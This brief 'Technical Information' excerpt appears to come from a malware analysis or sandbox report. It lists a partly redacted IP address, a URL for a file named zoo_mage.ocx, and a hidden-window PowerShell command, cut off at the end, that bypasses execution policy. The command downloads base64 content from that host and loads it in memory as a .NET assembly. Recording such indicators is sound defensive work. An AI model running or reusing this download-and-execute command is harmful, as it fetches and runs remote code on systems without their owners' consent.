Technical Information
- http://95.##5.1.100/zoo_mage.ocx
- '95.##5.1.100':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoExit -Exec Bypass -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('http://95.##5.1.100/zoo_mage.ocx'))).EntryP...' (with hidden window)